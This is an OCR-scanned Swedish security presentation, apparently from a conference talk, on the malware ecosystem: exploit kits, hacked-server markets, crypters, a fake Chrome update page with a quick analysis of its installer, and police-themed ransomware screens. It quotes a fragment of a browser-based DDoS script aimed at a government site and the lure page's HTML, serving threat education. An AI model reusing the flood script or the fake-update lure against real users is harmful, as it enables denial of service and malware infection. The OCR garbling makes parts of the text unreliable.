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Egentligen ar malwarekartan mer komplex

e Internet en internationell brottsarena

» Lockar alla mojliga typer
« Malware ar inte bara trojaner och natverksmaskar
— Webbaserade bakdorrar
— Preparerade webbsidor med kod som utnyttjar sarbarheter | webblasare och
insticksprogram
— Cracks for mjukvara
— DDoS-verktyg

— AT
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« Malware kan anvanda ett komplext modulart monster av infektions- och
spridningssatt
— Odays
— Stulna certifikat
— Rootkit som doljer handelser i operativsystemet
— Malwaremoduler skrivna i flera sprak, exempelvis Lua
— Exempel: Duqu, Stuxnet, Gauss, Flame
— Detta ar bara borjan..
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[VARD)

http://www.regeringen.se/f

[FORFRACNTINGAR]
1000

[MEDDELANDE |

We are Anonymous!

[STATUS]
FORFRACNINGAR
1908
LYCKADES
9
MISSLYCHKADES
0

STOPPAI

# [CyberForce] -- [AnonOpsSweden] #

Greats to PRYHH3IR



function start() {
if (isFiring) {
clearinterval(firelnterval);
isFiring = false;
this.innerdHTML = "FIRE!";
} else {
isFiring = true;
this.innerHTML = "STOPPA!",
firelnterval = setIinterval(makeHttpRequest,
(1000 / parselnt(requestsNode.value) | 0));

}
%
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 var makeHttpRequest = function () {
if ( (currentTime.getTime()-lastSuccess) > 10000) {
return;
} else {
lastSuccess = currentTime.getTime();

3
var rID =Number(new Date());

var img = new Image();

img.onerror = function () { onFail(rID); };

img.onabort = function () { onFail(rID); };

img.onload = function () { onSuccess(rID); };

img.setAttribute("src", target + "?id=" + rID + "&msg=" +
messageNode.value);

requestsHTI[rID] = img;

onRequest(rID);

}
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MAIN MENU

Cloudflare
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- G D i1133.photobucket.com/albums/m590/skillcamzfiiosamabooter.png

ﬁ Webdesign || WebCHeck - Select - || VX Vault ﬁ Real Security | | Welcome to Black O
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Exploitp

acks — Blackhole 2.0

OFFADIELL SPONSOR

O Blackhole

STATISTICS THREADS FILES SOFT YERSIONS

SECURITY PREFERENCES

LOGOUT

Adv: Crypt.am - crypt of iframe/javascript code.

Az Dedicated servers in own Data-Cenker in Syria For ANY projects [ content, Experience 6 + years in the market, The quality checked by time ;-) Contact: hgservers@jabber.org
vz Mass domain registration service, Buy 5-10-15 domains instankly, Pay by PAYMER, LR, PM, WM. For malware, traffic and the other things, swww.doitquick.net
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Start date: End date: Theead:  [All threads =
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TOTAL INFO 25 000/ 9 Windows Yista
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HIAAS — Hacked infrastructure as a service
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(@ Information panel
Statistics Checker
Completed audits: 305192 running 2/0 in queLe

| E—

Service Stats
Servers available: 16811 (450)
Humber of people: 1584 (0)
Online: 19/126/418

¢ Mews || 3] Buy aserver %

(7] To pick up the server with | Mask IP (oo | 64102 8 Finc

0 = Seller (rating) Courntry City Region
B Untted States San Jose California

281 .. {jz lopster (12154)
Hote from the seller: Poker - no | Paypal - Mo | &mazon - Mo | Dating - Mo | Admin rights - Yes | Uptime - 7 days. 23:06:05
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Contact Service
The main support hero solves the main issues: dedicatexpressi@jabber.cn ,

main@im.dedicatexpress.com
Sapport Replacement: dedicatexpress_supp@jabber.cn , support@im.dedicatexpress.com

technical issues Email: dedicatexpress@gmail.com

Exposed Price,

108202

Ex., Mhit /= Direct IP

458 v

Last automatic verification: 10/19/2012

Memory, B Bx. Mbit /s
2 4.39

COpera...  Processor

WiR2003  Intel (R) Xeon (R) CPUST4..

»

455 g
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&P Mews " |8l Sell server " L& Buy aserver % H ") seller Rating '*
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Offensiva aktorer

Aktor ___________________|Motivation

Icke organiserad / I6st organiserad

Organiserad

Militar / underrattelsetjanst (statlig
aktor)
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Andamalet "att &ga information”, tjana
personliga syften, ndjeshack. "wOw
100k wh4t 1 h4ck3d!”

Omesattningsbar information,
propagering av politiska budskap,
konkurrera med jambordiga
organisationer

Kontroll over strategiskt viktig
information. Information som skapar
fordel i tider av fred eller konflikt. Sprida
desinformation.

ATER



Premisser och distinktioner

1) Hur gick infektionen till
— Webbsida
— USB-sticka med Autorun.inf

2) Vad gor malwaremjukvaran efter infektion?
3) Engangsinfektion eller natverksspridning?

4) Bestandig malware, i sa fall hur? (fil pa webbserver, registret, API-hooking,
patchning av operativsystemskarnan, bootloader etc)

— AT
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Vanligt forekommande

Trojan / =ICOCSI Modifierad

. Kryptering / -
bakdorr  Hemd Packning trojan

Ofta kodad pa ett satt Hel- eller delvis kodning Maste ofta analyseras
Som férsvarar analys. av payload. Rutiner for dynamiskt (livemiljo,
Metoder for att dolja att motverka debugging, virtuell maskin, emulator).
funktionsanrop osv korning i virtuella

maskiner vid analys

m.m.

— ATCER
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Exempel pa verktyg

* RAT (remote administration tool, verktyg for fijarradministration)
— Bifrost (1.2.1d, “Coffin of Evil”)
— Darkcomet
« Exploit-kit/ Exploit-packs
— Neosploit
— Redkit
— Blackhole
- Packers
— UPX
— ASPack

— AT
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now 10 GIYPT a a1 or
Virus to make it FUD
by skanvilark

83 views

5, M Ergne A S

= C N VIS AT o0 . a
L WSCAR e Free e & Fuls frgee At

How To Spread With
Dark Comet (Voice
by Bonkekid

307 views

DarkComet 5.2
Download

by Greg Gies

11 views

Spy Net Special Edition
(RAT) (hack) + crypter
by stanley thadius

No views

Crypter L e Crypter
Vegeta
by WinchesterHacker1

2

300 views

Like Add to Share ™ i [[A]
& " 96 views  » Crypter FUD 2012-2013

(100% Indetectable)
by wOidhdck3r
245 views

Published on Sep 12, 2012 by Nx2x2
Download here 2 likes, 1 dislike

http:/fwww.mediafire.com/?glfrsclribt 9644 Crypter 100% Fud

(Private) (Venta-For
by wlidh4ck3r
110 views

Show more

All Comments (1) see all

—_——— . B B oo o s o4
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Live malware-site

18| </head>

20 | <body>
<div class="container">

<div class="main">
<div class="menu right">
<a class="active left cuf” href="#">update</a>
27 <a class="left cuf"” href="#">stable</a>
28 <a class="left cuf" href="#">beta</a>
<div class="cl">&nbsp;</div>
3 </diwv>

<div class="header cuf">

Update Google Chrome

</div>

<div class="slogan cuf">

To make sure that you're protected by the latest security updates

</div>
38 <a class="btn cuf" href="google_ chrome_installer.exe">
3g Download Update
A0 </a>

i <div class="spec cuf"=>
42 For Windows 8/7/Vista/XP
43 </div>

45 <div class="stats">
46 <div class="article left cuf">
a7 <p>Windows 8 users</pr<spanrMake sure to close all
14| Chrome windows and tabs
1% on the desktop and Windows 8
50| app, then relaunch
51| Chrome after update..
52 </span>
- </div>
54 <div class="article left cuf">
<p>check for updates</pr<span>Updates are available on this
website To apply the update,
just follow the steps below.
58 </span>
59 </div>
80 <div class="article left cuf"=>
81 <prupdate google chrome</p><span>To make sure that you're protected
2 by the latest security updates.
¢ | Download latest version here.

— ATCER
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Vi laddar hem google_chrome_installer.exe

ji$ md5 google _chrome _installer.exe
MD5 (google chrome_installer.exe) = bfd8596161f9d0982f873f5d7aa76821

MD5-summan genererar ingen traff i Virustotal eller Google

— AT
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En-minuts-analys

ji$ strings google_chrome_installer.exe | more
IThis program cannot be run in DOS mode.

dext
.data
.rdata
@.bss
.idata
.yomygr
VJ>#
g&ppp
guqgpp
pppH
gzspp
pppH
g_spp
pppH
g;spp
pppH
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1 minute analysis

AAAA
AAAA
AAAA

[~_1
pyomygrfbcjgdlfjcin
KERMEL32.d11
GetModuleFileNameh
kernel3z.dll
CreateProcessA
ntdll.dll
MtUnmapViewOfSection
WriteProcessMemory
CetThreadContext
ReadProcessMemory
SetThreadContext
ResumeThread
VirtualAllocEx
VirtualAlloc
VirtualFree

! {Ew
~&kE

iciNWg

¥l

S2zw

QihsT
wWrhF
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AddAtomA
AreFileApisANST
Beep
CreateSemaphored
DeleteFileA
ExitProcess
FindAtomA
GetAtomMameA
GetConsoleMode
GetModuleHandleA
GetProchddress
InterlockedDecrement
InterlockedIncrement
ReleaseSemaphore
SetLastError
SetUnhandledExceptionFilter
Sleep

TlsAlloc

TlsFree
TlsGetValue
TlsSetValue
WaitFor5ingleObject
__getmainargs
__mb_cur_max
__p__environ
__p__Tfmode
__set_app_ftype
_assert

_cexit

_Eerrno

_Tlsbuf

_Tmode

_inb

_isctype

_onexit

|
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_pctype
_setmode
_strnicmp
_vsnprintf
abort

atexit

fclose

Tflush

fogetpos

fopen

fprintf

fread

free

fsetpos

fwrite
localeconv
malloc

memchr

memcpy

memmove

printf
setlocale
signal
DefWindowProch
DispatchMessageh
GetMessageh
LoadCursorh
LoadIconk
PostQuitMessage
RegisterClassExA
ShowWindow
TranslateMessage
comctl3z.dll
Str_SetPtriw

DestroyPropertySheetPage

Imagelist_Add
CreateToolbarEx

CreatePropertySheetPaged

InitCommonControls
DrawInsert
PropertySheeth
CreateMappedBitmap
CreateUpDownControl
ws2_32.d11

bind

recwv

inet_ntoa

ntahl

ntohs

WSAConnect
gethostbyaddr
htanl

listen

getsockname
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‘,‘ IDA - C\Users\AdministratorDesktopt\google_chrome_installer.malware
File Edit Jump Search View Debugger Options Windows Help

BE e e S ) s DO At - F X » @i
PR | || |
Funcﬁons window g X IDA Viev-A %] | =]
Function name Segment S -

z __gnu_exception_handler@4 et o |

z __mingw_CRTStartup dext o

[F] start text 0

Z __onexit Adext o

[#] __do_sjli_init text 0l

[7] sub_4014E2 text o=

[7] sub_401514 text 0l

z CreateMappedBitmap Jdext 0

z InitCommonControls Jtext 0

(7] CreateToolbarEx text 0

Z Drawlnsert Jtext 0

[7] Imagelist_Add “text 0

[7] CreatePropertySheetPageA “text 0

z DestroyPropertySheetPage Jtext o

[7] CreateUpDownControl text 0

[7] PropertySheetA text 0

[F] Str_SetPtW text 0

Z htons Stext ]

[7] inet_addr text (1]

z recv “text o

z getsockname Jtext o

7] listen text 0

(7] bind text 0

[7] getsockopt .text 0

[7] inet_ntoa text (]

[7] gethostbyaddr “text 0

[7] ntohs “text 0

[7] ntohl text 0

[7] htonl text 0

[F] W5AConnect text 0

[7] ioctisocket .text 0

z __pei386_runtime_relocator et o -

4‘\ 1 | [*

Line 3 of 83

ik, Graph overview g X

100.00% (-573,-253) (10,445) 00000640 00401240z sta

QOutput window

File 'C:\Users\Rdministratdr\Desktopigoogle chrome installer.malware' has been successfully loaded into the database
Compiling file 'C:\Program Files\IDA\ide\ida.ide'...

— ATCER

TILL S¥ENSK FRIIDROTT ¥ SYENSK PREDROTT



Exempel pa ransomware (“Reveton”)

Pﬂ”Sen KEGLRINGSKANSLILT = "df_‘
Polisen Enheten for databrott Py .-_,
1 rf;ﬂh 0

'I:II:‘lulig aktivitet har upptackts !
Dietta Chpeerahy spatanal hir bacosrals pd grind 4+ dearrddalse 4% [agar | Kenungdnioet Syvengal
O IF-adress ar: “nJfa”. Gin 1P keridentifierss ach registreras n'i.'d den .-.Hsl.-a Falisen . 4nvandarsn av denne [F-sdress, snvdnda din dabor for ot viss =ller Hamia

porrcgralishon filmr fom innehaler barnporesgraf, tdelag ch vild mot bam eller O A it wEDCplatser som nnehiliar pamagrafi, barmporregraf, tidelag och wilikd mot

bern. Cessuboen har desss filer Bittades av vira exparter pd harddisken i din datar
Dessuforn har din dator, anvinds for att :-l:l::l-:.: ekt stort antal n-:-nih'n-:ln ¢-postmeddelanden med kammersicll, politisk eler annat Innehall clier andra

typer av spam nmeddelanden och peddelanden av lerrarism karaklr.,
Blockering av din dator ar utformad for att firhindra olaglig verksamhet.

Dvim IP:nf 3

i Imfo:

Far att lisa upp din dator, ar du skyldig att betala straffet till ot belapp av a

1000kr. Wpaysafe s | | g |
ctraffet skall hetalaz inom 24 timmar fein den tidpunkt nde datorn e 13t P I

O straffet inle betalas ingem foreskriven Gd, din daler Kommer a1t Wanr Paysafecerd Fslan

kenfiskeras, ditt brotten &1 kommer akt limnas im till domstolen och alla data

kammer att tas bort frdn din dator.
1} Betalnimg med Payvsafecard: Pressbyrdn @ nmﬁ-tgn
%an du kips dina Paysefecard vid 7-Bevan, Shell F-Eleven, Cirekisn, Timebubker,

peesshyriin, bensinstationer och tobak seffarer.

ange kaden in i falbet for betalning och klicka "0K" I;-:lm du har mer an an kad, ange m 2
dern an after e | fahet fe betalning och i cks pf *o kash | [1000_Jir ﬁ

7} Retalnimg med Bkash: ‘waar Ukash belen?
K an du kedps dina Ukash wid 7-Elewen, Presshyrin, payzone, bensinstasionar ach

tobaksaffsear g @
Ll i L |:'.l':|i:d:r"\-.-.':.'-.-G

— ATCER
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AFP

Australian Federal Police

Attention!

ey .-
g W

Four PC ks blocked due to ab beast one of the reasans specified below.
You have been violatieg =Copyright and Related Rights Law= [Video, Music, Software)

and illegally using or distributing copyrighted content, thus infringing Article 128 of the
Criminal Code of Ausiralia.

artice 128 of the Criminsl Code provides for a fine of 2 19 5 hundréd minimal wages or a
deprivation of Hoerty for 3 to 8 years,

ou have been viewing or distributing prohiited Pormopraphic content {Child
Porn/ Zoophilia and etc). Thes violating article 202 of the Criminal Code of Australia.

Article 20F of the Crimingl Code provides for a deprivation of liberty for 4 to 12 years,
Mespal accass ta compuler data has been initlated from your PC, o you kave besn, .,

Artice 208 of the Crimingl Code provides for a Nine of up to AUD 5100,000 andfor &
depriwation of tberty for 4 to 9 years,

Hiegal access has been inltiated from your PC withowt yoer knowiedge or oonsent, your BC
may be infected by mabware, thus you are wiolating the Lre On Heglectful Use of Personal
Computer. Arthcke 210 of the Criminal Code provides for a fine of AUD 52,000 to AUD
58,000,

Spam distribution or other unlawful advertising has baen affected from your PC a5 a
orofit-sesking sctivity or withoul vour knowiedoe. vour PC mur be infected By mabware.
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Code Sam
100

Where | can buy Ukash?
You can gat Ukash frem hundreds of thousands of

global kecationy, cnfing, from wallety, from knaka
and ATMa,

ATCER



Specialist Cnme

ey by ey e e A b Hap

Tor P aricrem man gnes brosel pakafen p1rdeneg pamndreeh e rhld prrmegranhe Jrapiie aed i shies Taur compoher gl roekeey o e Fiee pren
PO R AT AL, SRR OF MgISRTR S0 O CHETIRQURNT Y ST S ST TR TR CTRORRALY AT BN SRS FNETY R DATOHART

Fhm Comga e ik & Bl D0 SO0 poun SegE g ooy

Wour P oplremn

To enlock the computer you are obliged Bo pay a fiee
af § 1080,

Wios inhll gy Tl Barbed 1 0 Do myns:

L] Pergmd through Ll

Tior i PRyl St b il Tl 140 Bipte (il i el fulny¥iein'il FLe™h
ol . O LT i b v Codliel, s Fae i 2N s
i md g Da)

el e R T e e W o o, L

2] Payany raugh Payssleosd:

T 2o B, yie dbebubd srder T Lo SOk récealioi g codk o7 rimediechad iy
m Bk o poviseond | on B ponerr Toom aond (s O 1 poes hova
peraars] oo b, i Taare ard pRar e githar el ess Ca)

TR ] A ] A e ] e L
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12:]

Police Central e-crime Unit

- g [ s b

#xPCeU

m P
j"v-:i
Attention!i!

Tl pas B o ey T B s 1 oy b e e e e

(D kash Where can 1 buy Ukash?

Wiy done] by Tiel B ey glated M0 eenTifie! thaja, fakn tand eloic miEREs, iAo ar
Froug b E - 'Wa bt [ weroris cashl. Below po o Hind the lis of poist o seis Vel In yoor couniey.
By’ - o cou b Beay Uliedh i Peosaiels of oo orobd of Lal-Shéps shichhies I
ey kg,
E PryPoind - G Ukash vwheneses yog e the FypFoint spe

E Prargded - LSk sropd b S Foyoend e iz segimd the K

gy © Vau cih get o Dind voocher B velies from CL0 PR and gy using paie

—
INpay - et pank

ok
Where can I

t pajsntecerd i pradeile frar 10,000 mier eoflely peridwide, v Hhe Unibed K imgdom,

rarii ety rom sl PayPost oo sy
=
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METROPOLITAN
POLICE

Tom pen wwiil thdoa B Dhosree: ol nel | oplor er 8.0 08 Wiaelows 55 O omidrys LI =
iy R

8 paysafe oo

piycash gy asE

CHUTTON

el 117 T |

cafperficrs (& bitdefender (X, @  Antiinis)
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jonathan.james@atea.se

jonathanj.com
Twitter: areusecure
08-4774730

— ATCER
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